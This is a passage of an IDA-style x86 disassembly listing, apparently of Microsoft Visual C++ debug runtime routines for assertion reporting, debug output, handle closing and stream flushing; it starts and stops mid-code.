loc_41AFE7:				; CODE XREF: .data:0041AFBEj
					; .data:0041AFD8j
		mov	eax, [ebp-4]


loc_41AFEA:				; CODE XREF: .data:0041AF85j
					; .data:0041AF97j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DE670
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DE670, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B010	proc near		; CODE XREF: sub_414F40+24p
					; sub_414FD0+2Cp ...

var_302C	= dword	ptr -302Ch
var_3028	= dword	ptr -3028h
var_3024	= byte ptr -3024h
var_3010	= byte ptr -3010h
var_300C	= dword	ptr -300Ch
var_3008	= byte ptr -3008h
var_3007	= byte ptr -3007h
var_2008	= byte ptr -2008h
var_2007	= byte ptr -2007h
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 302Ch
		call	sub_4181D0
		push	edi
		mov	[ebp+var_3008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_3007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_2008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_2007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_1000],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+arg_14]
		mov	[ebp+var_1004],	eax
		cmp	[ebp+arg_0], 0
		jl	short loc_41B07E
		cmp	[ebp+arg_0], 3
		jl	short loc_41B086


loc_41B07E:				; CODE XREF: sub_41B010+66j
		or	eax, 0FFFFFFFFh
		jmp	loc_41B39B
; ---------------------------------------------------------------------------


loc_41B086:				; CODE XREF: sub_41B010+6Cj
		cmp	[ebp+arg_0], 2
		jnz	loc_41B130
		push	offset dword_445158
		call	dword_4E0454	; InterlockedIncrement
		test	eax, eax
		jle	loc_41B130
		cmp	dword_4DDFE0, 0
		jnz	short loc_41B0EE
		push	offset aUser32_dll_0 ; "user32.dll"
		call	dword_4E037C	; LoadLibraryA
		mov	[ebp+var_300C],	eax
		cmp	[ebp+var_300C],	0
		jz	short loc_41B0E6
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_300C]
		push	ecx
		call	dword_4E0380	; GetProcAddress
		mov	dword_4DDFE0, eax
		cmp	dword_4DDFE0, 0
		jnz	short loc_41B0EE


loc_41B0E6:				; CODE XREF: sub_41B010+B4j
		or	eax, 0FFFFFFFFh
		jmp	loc_41B39B
; ---------------------------------------------------------------------------


loc_41B0EE:				; CODE XREF: sub_41B010+9Aj
					; sub_41B010+D4j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset aSecondChanceAs ; "Second Chance	Assertion Failed: File %s"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	dword_4DDFE0	; wsprintfA
		add	esp, 10h
		lea	edx, [ebp+var_2008]
		push	edx
		call	dword_4E046C	; OutputDebugStringA
		push	offset dword_445158
		call	dword_4E0450	; InterlockedDecrement
		call	sub_41AF00
		or	eax, 0FFFFFFFFh
		jmp	loc_41B39B
; ---------------------------------------------------------------------------


loc_41B130:				; CODE XREF: sub_41B010+7Aj
					; sub_41B010+8Dj
		cmp	[ebp+arg_10], 0
		jz	short loc_41B16D
		mov	eax, [ebp+var_1004]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		push	0FEDh
		lea	edx, [ebp+var_1000]
		push	edx
		call	sub_418C10
		add	esp, 10h
		test	eax, eax
		jge	short loc_41B16D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_418870
		add	esp, 8


loc_41B16D:				; CODE XREF: sub_41B010+124j
					; sub_41B010+147j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B1A5
		cmp	[ebp+arg_10], 0
		jz	short loc_41B185
		mov	[ebp+var_3028],	offset aAssertionFaile ; "Assertion failed: "
		jmp	short loc_41B18F
; ---------------------------------------------------------------------------


loc_41B185:				; CODE XREF: sub_41B010+167j
		mov	[ebp+var_3028],	offset aAssertionFai_0 ; "Assertion failed!"


loc_41B18F:				; CODE XREF: sub_41B010+173j
		mov	ecx, [ebp+var_3028]
		push	ecx
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_418870
		add	esp, 8


loc_41B1A5:				; CODE XREF: sub_41B010+161j
		lea	eax, [ebp+var_1000]
		push	eax
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_418880
		add	esp, 8
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B1FA
		mov	edx, [ebp+arg_0]
		mov	eax, dword_44515C[edx*4]
		and	eax, 1
		test	eax, eax
		jz	short loc_41B1E6
		push	offset asc_434DB8 ; "\r"
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_418880
		add	esp, 8


loc_41B1E6:				; CODE XREF: sub_41B010+1C0j
		push	offset asc_434DB4 ; "\n"
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_418880
		add	esp, 8


loc_41B1FA:				; CODE XREF: sub_41B010+1AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_41B242
		lea	eax, [ebp+var_3008]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aSDS	; "%s(%d) : %s"
		push	1000h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E80
		add	esp, 18h
		test	eax, eax
		jge	short loc_41B240
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	sub_418870
		add	esp, 8


loc_41B240:				; CODE XREF: sub_41B010+21Aj
		jmp	short loc_41B258
; ---------------------------------------------------------------------------


loc_41B242:				; CODE XREF: sub_41B010+1EEj
		lea	edx, [ebp+var_3008]
		push	edx
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_418870
		add	esp, 8


loc_41B258:				; CODE XREF: sub_41B010:loc_41B240j
		cmp	dword_4DE670, 0
		jz	short loc_41B29C
		lea	ecx, [ebp+var_1008]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4DE670
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B29C
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B291
		push	offset dword_445158
		call	dword_4E0450	; InterlockedDecrement


loc_41B291:				; CODE XREF: sub_41B010+274j
		mov	eax, [ebp+var_1008]
		jmp	loc_41B39B
; ---------------------------------------------------------------------------


loc_41B29C:				; CODE XREF: sub_41B010+24Fj
					; sub_41B010+26Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_44515C[ecx*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_41B2EB
		mov	eax, [ebp+arg_0]
		cmp	dword_445168[eax*4], 0FFFFFFFFh
		jz	short loc_41B2EB
		push	0
		lea	ecx, [ebp+var_3010]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		call	sub_414EC0
		add	esp, 4
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_445168[ecx*4]
		push	edx
		call	dword_4E03B4	; WriteFile


loc_41B2EB:				; CODE XREF: sub_41B010+29Bj
					; sub_41B010+2A8j
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_44515C[eax*4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41B309
		lea	edx, [ebp+var_2008]
		push	edx
		call	dword_4E046C	; OutputDebugStringA


loc_41B309:				; CODE XREF: sub_41B010+2EAj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_44515C[eax*4]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_41B388
		cmp	[ebp+arg_8], 0
		jz	short loc_41B33D
		push	0Ah
		lea	edx, [ebp+var_3024]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_428B70
		add	esp, 0Ch
		mov	[ebp+var_302C],	eax
		jmp	short loc_41B347
; ---------------------------------------------------------------------------


loc_41B33D:				; CODE XREF: sub_41B010+30Ej
		mov	[ebp+var_302C],	0


loc_41B347:				; CODE XREF: sub_41B010+32Bj
		lea	ecx, [ebp+var_1000]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_302C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41B3A0
		add	esp, 14h
		mov	[ebp+var_1008],	eax
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B380
		push	offset dword_445158
		call	dword_4E0450	; InterlockedDecrement


loc_41B380:				; CODE XREF: sub_41B010+363j
		mov	eax, [ebp+var_1008]
		jmp	short loc_41B39B
; ---------------------------------------------------------------------------


loc_41B388:				; CODE XREF: sub_41B010+308j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B399
		push	offset dword_445158
		call	dword_4E0450	; InterlockedDecrement


loc_41B399:				; CODE XREF: sub_41B010+37Cj
		xor	eax, eax


loc_41B39B:				; CODE XREF: sub_41B010+71j
					; sub_41B010+D9j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_41B010	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3A0	proc near		; CODE XREF: sub_41B010+351p

var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_4181D0


loc_41B3AD:				; CODE XREF: sub_41B3A0+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_41B3D8
		push	offset aSzusermessageN ; "szUserMessage	!= NULL"
		push	0
		push	1DAh
		push	offset aDbgrpt_c ; "dbgrpt.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B3D8
		call	sub_41AF00


loc_41B3D8:				; CODE XREF: sub_41B3A0+11j
					; sub_41B3A0+31j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B3AD
		push	104h
		lea	ecx, [ebp+var_108]
		push	ecx
		push	0
		call	dword_4E0334	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41B40A
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_418870
		add	esp, 8


loc_41B40A:				; CODE XREF: sub_41B3A0+54j
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_41B44D
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_4], edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_41B44D:				; CODE XREF: sub_41B3A0+82j
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_1110],	ecx
		cmp	[ebp+var_1110],	0
		jz	short loc_41B4A8
		mov	edx, [ebp+var_1110]
		push	edx
		call	sub_414EC0
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_41B4A8
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp+var_1110]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_1110],	edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_41B4A8:				; CODE XREF: sub_41B3A0+BDj
					; sub_41B3A0+D1j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B4BA
		mov	[ebp+var_1114],	offset aForInformation ; "\n\nFor information on how your program c"...
		jmp	short loc_41B4C4
; ---------------------------------------------------------------------------


loc_41B4BA:				; CODE XREF: sub_41B3A0+10Cj
		mov	[ebp+var_1114],	offset dword_434F04


loc_41B4C4:				; CODE XREF: sub_41B3A0+118j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41B4D9
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1118],	eax
		jmp	short loc_41B4E3
; ---------------------------------------------------------------------------


loc_41B4D9:				; CODE XREF: sub_41B3A0+12Cj
		mov	[ebp+var_1118],	offset dword_434F04


loc_41B4E3:				; CODE XREF: sub_41B3A0+137j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41B4FF
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B4FF
		mov	[ebp+var_111C],	offset aExpression ; "Expression: "
		jmp	short loc_41B509
; ---------------------------------------------------------------------------


loc_41B4FF:				; CODE XREF: sub_41B3A0+14Bj
					; sub_41B3A0+151j
		mov	[ebp+var_111C],	offset dword_434F04


loc_41B509:				; CODE XREF: sub_41B3A0+15Dj
		mov	eax, [ebp+arg_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_41B51F
		mov	[ebp+var_1120],	offset asc_434EF0 ; "\n\n"
		jmp	short loc_41B529
; ---------------------------------------------------------------------------


loc_41B51F:				; CODE XREF: sub_41B3A0+171j
		mov	[ebp+var_1120],	offset dword_434F04


loc_41B529:				; CODE XREF: sub_41B3A0+17Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_41B53A
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1124],	edx
		jmp	short loc_41B544
; ---------------------------------------------------------------------------


loc_41B53A:				; CODE XREF: sub_41B3A0+18Dj
		mov	[ebp+var_1124],	offset dword_434F04


loc_41B544:				; CODE XREF: sub_41B3A0+198j
		cmp	[ebp+arg_8], 0
		jz	short loc_41B556
		mov	[ebp+var_1128],	offset aLine ; "\nLine:	"
		jmp	short loc_41B560
; ---------------------------------------------------------------------------


loc_41B556:				; CODE XREF: sub_41B3A0+1A8j
		mov	[ebp+var_1128],	offset dword_434F04


loc_41B560:				; CODE XREF: sub_41B3A0+1B4j
		cmp	[ebp+arg_4], 0
		jz	short loc_41B571
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		jmp	short loc_41B57B
; ---------------------------------------------------------------------------


loc_41B571:				; CODE XREF: sub_41B3A0+1C4j
		mov	[ebp+var_112C],	offset dword_434F04


loc_41B57B:				; CODE XREF: sub_41B3A0+1CFj
		cmp	[ebp+arg_4], 0
		jz	short loc_41B58D
		mov	[ebp+var_1130],	offset aFile ; "\nFile:	"
		jmp	short loc_41B597
; ---------------------------------------------------------------------------


loc_41B58D:				; CODE XREF: sub_41B3A0+1DFj
		mov	[ebp+var_1130],	offset dword_434F04


loc_41B597:				; CODE XREF: sub_41B3A0+1EBj
		cmp	[ebp+var_1110],	0
		jz	short loc_41B5AE
		mov	ecx, [ebp+var_1110]
		mov	[ebp+var_1134],	ecx
		jmp	short loc_41B5B8
; ---------------------------------------------------------------------------


loc_41B5AE:				; CODE XREF: sub_41B3A0+1FEj
		mov	[ebp+var_1134],	offset dword_434F04


loc_41B5B8:				; CODE XREF: sub_41B3A0+20Cj
		cmp	[ebp+var_1110],	0
		jz	short loc_41B5CD
		mov	[ebp+var_1138],	offset aModule ; "\nModule: "
		jmp	short loc_41B5D7
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B3A0+21Fj
		mov	[ebp+var_1138],	offset dword_434F04


loc_41B5D7:				; CODE XREF: sub_41B3A0+22Bj
		mov	edx, [ebp+var_1114]
		push	edx
		mov	eax, [ebp+var_1118]
		push	eax
		mov	ecx, [ebp+var_111C]
		push	ecx
		mov	edx, [ebp+var_1120]
		push	edx
		mov	eax, [ebp+var_1124]
		push	eax
		mov	ecx, [ebp+var_1128]
		push	ecx
		mov	edx, [ebp+var_112C]
		push	edx
		mov	eax, [ebp+var_1130]
		push	eax
		mov	ecx, [ebp+var_1134]
		push	ecx
		mov	edx, [ebp+var_1138]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, off_445174[ecx*4]
		push	edx
		push	offset aDebugSProgramS ; "Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
		push	1000h
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_417E80
		add	esp, 3Ch
		test	eax, eax
		jge	short loc_41B65D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_110C]
		push	ecx
		call	sub_418870
		add	esp, 8


loc_41B65D:				; CODE XREF: sub_41B3A0+2A7j
		push	12012h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
		lea	edx, [ebp+var_110C]
		push	edx
		call	sub_4293F0
		add	esp, 0Ch
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 3
		jnz	short loc_41B696
		push	16h
		call	sub_429130
		add	esp, 4
		push	3
		call	sub_417B10


loc_41B696:				; CODE XREF: sub_41B3A0+2E3j
		cmp	[ebp+var_10C], 4
		jnz	short loc_41B6A6
		mov	eax, 1
		jmp	short loc_41B6A8
; ---------------------------------------------------------------------------


loc_41B6A6:				; CODE XREF: sub_41B3A0+2FDj
		xor	eax, eax


loc_41B6A8:				; CODE XREF: sub_41B3A0+304j
		mov	esp, ebp
		pop	ebp
		retn
sub_41B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6B0	proc near		; CODE XREF: sub_414FD0+71p
					; sub_429E30+400p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	short loc_41B6E1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41B6FC


loc_41B6E1:				; CODE XREF: sub_41B6B0+Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B726
; ---------------------------------------------------------------------------


loc_41B6FC:				; CODE XREF: sub_41B6B0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B730
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41B726:				; CODE XREF: sub_41B6B0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_41B6B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B730	proc near		; CODE XREF: sub_41B6B0+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429840
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B783
		cmp	[ebp+arg_0], 1
		jz	short loc_41B752
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B76C


loc_41B752:				; CODE XREF: sub_41B730+1Aj
		push	1
		call	sub_429840
		add	esp, 4
		mov	esi, eax
		push	2
		call	sub_429840
		add	esp, 4
		cmp	esi, eax
		jz	short loc_41B783


loc_41B76C:				; CODE XREF: sub_41B730+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429840
		add	esp, 4
		push	eax
		call	dword_4E032C	; CloseHandle
		test	eax, eax
		jz	short loc_41B78C


loc_41B783:				; CODE XREF: sub_41B730+14j
					; sub_41B730+3Aj
		mov	[ebp+var_4], 0
		jmp	short loc_41B795
; ---------------------------------------------------------------------------


loc_41B78C:				; CODE XREF: sub_41B730+51j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax


loc_41B795:				; CODE XREF: sub_41B730+5Aj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429760
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	byte ptr [edx+ecx+4], 0
		cmp	[ebp+var_4], 0
		jz	short loc_41B7D3
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_422430
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B7D5
; ---------------------------------------------------------------------------


loc_41B7D3:				; CODE XREF: sub_41B730+90j
		xor	eax, eax


loc_41B7D5:				; CODE XREF: sub_41B730+A1j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_41B730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7E0	proc near		; CODE XREF: sub_414FD0+62p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_41B7E6:				; CODE XREF: sub_41B7E0+2Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B80A
		push	offset dword_43449C
		push	0
		push	30h
		push	offset a_freebuf_c ; "_freebuf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B80A
		int	3		; Trap to Debugger


loc_41B80A:				; CODE XREF: sub_41B7E0+Aj
					; sub_41B7E0+27j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B7E6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 83h
		test	edx, edx
		jz	short loc_41B86D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_41B86D
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_415C60
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFBF7h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0


loc_41B86D:				; CODE XREF: sub_41B7E0+3Ej
					; sub_41B7E0+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41B896
		push	0
		call	sub_41B9F0
		add	esp, 4
		jmp	short loc_41B8C0
; ---------------------------------------------------------------------------


loc_41B896:				; CODE XREF: .data:0041B888j
		mov	eax, [ebp+8]
		push	eax
		call	sub_41AE20
		add	esp, 4
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41B8D0
		add	esp, 4
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp-4]


loc_41B8C0:				; CODE XREF: .data:0041B894j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8D0	proc near		; CODE XREF: .data:0041B8A6p
					; sub_41B9F0+B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B920
		add	esp, 4
		test	eax, eax
		jz	short loc_41B8E8
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B90F
; ---------------------------------------------------------------------------


loc_41B8E8:				; CODE XREF: sub_41B8D0+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_41B90D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_429A80
		add	esp, 4
		neg	eax
		sbb	eax, eax
		jmp	short loc_41B90F
; ---------------------------------------------------------------------------


loc_41B90D:				; CODE XREF: sub_41B8D0+26j
		xor	eax, eax


loc_41B90F:				; CODE XREF: sub_41B8D0+16j
					; sub_41B8D0+3Bj
		pop	ebp
		retn
sub_41B8D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B920	proc near		; CODE XREF: sub_414FD0+53p
					; sub_41A040+A2p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 3
		cmp	edx, 2
		jnz	short loc_41B9BB
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 108h
		test	ecx, ecx
		jz	short loc_41B9BB
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jle	short loc_41B9BB
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		push	eax
		call	sub_426840
		add	esp, 0Ch
		cmp	eax, [ebp+var_C]
		jnz	short loc_41B9A5
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41B9A3
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx


loc_41B9A3:				; CODE XREF: sub_41B920+72j
		jmp	short loc_41B9BB
; ---------------------------------------------------------------------------


loc_41B9A5:				; CODE XREF: sub_41B920+62j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	[ebp+var_4], 0FFFFFFFFh


loc_41B9BB:				; CODE XREF: sub_41B920+1Fj
					; sub_41B920+2Fj ...
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9E0	proc near		; CODE XREF: sub_41AE00+3p
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_41B9F0
		add	esp, 4
		pop	ebp
		retn
sub_41B9E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9F0	proc near		; CODE XREF: .data:0041B88Cp
					; sub_41B9E0+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		push	2
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_41BA20
; ---------------------------------------------------------------------------


loc_41BA17:				; CODE XREF: sub_41B9F0:loc_41BB0Ej
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_41BA20:				; CODE XREF: sub_41B9F0+25j
		mov	ecx, [ebp+var_C]
		cmp	ecx, dword_4DF680
		jge	loc_41BB13
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DE674
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_41BB0E
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
